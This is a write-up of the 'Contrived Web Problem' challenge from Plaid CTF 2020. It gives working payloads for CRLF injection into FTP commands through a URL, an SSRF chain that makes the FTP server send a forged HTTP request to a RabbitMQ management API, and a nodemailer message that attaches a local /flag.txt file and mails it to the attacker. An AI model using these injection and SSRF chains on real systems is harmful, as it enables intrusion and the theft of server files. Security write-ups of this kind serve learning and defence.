Here is my write up of Contrived Web Problem in Plaid CTF 2020.

[TOC]

TL;DR

You can get the attachment of the chall in this repo.

  1. You can find CRLF in ftp then use CRLF to inject ftp command.
  2. You can use PORT command to build a TCP connection with rabbitmq server.
  3. Make a HTTP message which can let the nodemailer send a email containing the flag as a attachment to your email through rabbitmq web api.
  4. Hide this HTTP message in a PNG. Upload the picture as your profile.
  5. Use the REST command to cut the PNG and let PETR command return the HTTP message which is in the PNG to rabbitmq server.
  6. Check FLAG in your email.

CRLF in FTP

We guess there should be a CRLF in FTP at first. And use %250d%250a to test it because it use the following code.

if (parsed.protocol === "ftp:") {
  let username = decodeURIComponent(parsed.username);
  let password = decodeURIComponent(parsed.password);
  let filename = decodeURIComponent(parsed.pathname);
  let ftpClient = await connectFtp({
    host: parsed.hostname,
    port: parsed.port !== "" ? parseInt(parsed.port) : undefined,
    user: username !== "" ? username : undefined,
    password: password !== "" ? password : undefined,
  });
  image = await ftpClient.get(filename);
}

Send this url through api/image.

GET /api/image?url=ftp://2:2%250d%250aPORT%20172,32,56,72,61,56%250d%250aREST%206%250d%250aRETR%20%252fuser%252fb21791e2-6016-4c36-8f9a-6054750d2b5a%252fprofile%[emailprotected]ftp:21/user/b21791e2-6016-4c36-8f9a-6054750d2b5a/profile.png 

This url will make a request like this.

So we get a CRLF now.

Or you can audit the code of ftp https://github.com/mscdex/node-ftp then you can find it do nothing with CRLF.

The active mode of FTP

FTP have two modes, one is active and the other is passive.

In active mode, the client establishes the command channel but the server is responsible for establishing the data channel. This can actually be a problem if, for example, the client machine is protected by firewalls and will not allow unauthorised session requests from external parties.

In passive mode, the client establishes both channels. We already know it establishes the command channel in active mode and it does the same here.

If we don’t inject code through CRLF, we can get the FTP traffic like this:

So it will use PASV command to open passive mode and build a connection with client.

Why not inject PORT commant through CRLF to let ftp-srv open active mode and let ftp-srv connect with my server?

Yeah. Just like this. I use PORT command to let ftp-srv connect with my server.

But if you try with LIST or something else following by PORT command, you can’t get the response on your server. It’s a bit strange that I still confused about it. If you know something about this, welcome to discuss.

The mail server

And how can we get flag? Use FTP? But the flag.txt is not on the ftp server. So we should think about how to get flag.

I notice there is a function that use to reset user’s password.

services/api/index.ts

app.post("/password-reset", async (req, res) => {
  let { email } = req.body;

  if (typeof email !== "string") {
    res.status(500).send("Bad body");
  }

  let newPassword = Array.from(new Array(16), () => "abcdefghijklmnopqrstuvwxyz0123456789"[Math.floor(Math.random() * 36)]).join("");
  let hashedPassword = await bcrypt.hash(newPassword, 14);
  await withClient((client) => client.query(`
UPDATE user_auth
SET password = $2
WHERE email = $1
`, [email, hashedPassword]));

  let channel = await rabbit.createChannel();
  channel.sendToQueue("email", Buffer.from(JSON.stringify({
    to: email,
    subject: "Password Reset",
    text: `Hello there, your new password is ${newPassword}`,
  })));

  res.status(200).send("Password reset");
});

It seems we can’t control the ${newPassword}. But I find a way to get flag through reading nodemailer’s documentation.

https://nodemailer.com/message/attachments/

We can send an email containing the flag as attachment! We can make a json like this:

{"to":"[emailprotected]","subject":"Password Reset","text":"Hello there, your new password is newpass","attachments":[{"filename":"flag.txt","path":"/flag.txt"}]}

So what we need to do is to control nodemailer to send our message.

rabbitmq

services/email/index.ts

let channel = await rabbit.createChannel();
channel.consume("email", async (msg) => {
  if (msg === null) {
    return;
  }
  channel.ack(msg);

  try {
    let data = JSON.parse(msg.content.toString());
    await transport.sendMail({
      from: "[emailprotected]",
      subject: "Your Account",
      ...data,
    });
  } catch (e) {
    console.error(e);
  }
})

And we can find how server sendemail here. It uses rabbitmq. And rabbitmq has got web api.

So it seems we can control what nodemailer send through rabbitmq’s web api.

But how can we send http request to rabbitmq? It seems we have got the method how to get flag and the method let ftp server build TCP connection with arbitrary server.

It seems we need a connection with them!

SSRF!

The last key to solve this problem is let the ftp server send a http request to rabbitmq server.

But how?

We notice that we can hide a http message in the profile png and use RRETR to let the ftp server return the message of png.

And use REST 6 to cut the message, make the response like a http message. This is similar with http response splitting.

So when ftp server return the data of profile picture, it will return data like this:

POST /api/exchanges/%2f/amq%2edefault/publish HTTP/1.1
Host: 172.32.56.72:15672
Content-Type: application/json
authorization: Basic dGVzdDp0ZXN0
Content-Length: 300

{"properties":{},"routing_key":"email","payload":"your_payload","payload_encoding":"base64"}

But the TCP connection is not persisted, we can’t get the response of rabbitmq server and most importantly we can’t add a new message in rabbitmq queue.

During the competition, we have to frequently send lots of requests to api server. Hope some requests can exploit successfully. At last we made it once.

After ctf ends, @zwad3, the author of this chall, replied to me.

{% twitter https://twitter.com/zwad3/status/1252087190278082562 %}

He mentioned we should send the real request followed by 50,000 dumb requests (in one file). I tried this method today and this really gave 100% success rate.

Just like this, I put 1000 http get requests in one file and every time can get flag.

Interesting challange! Hope u enjoy!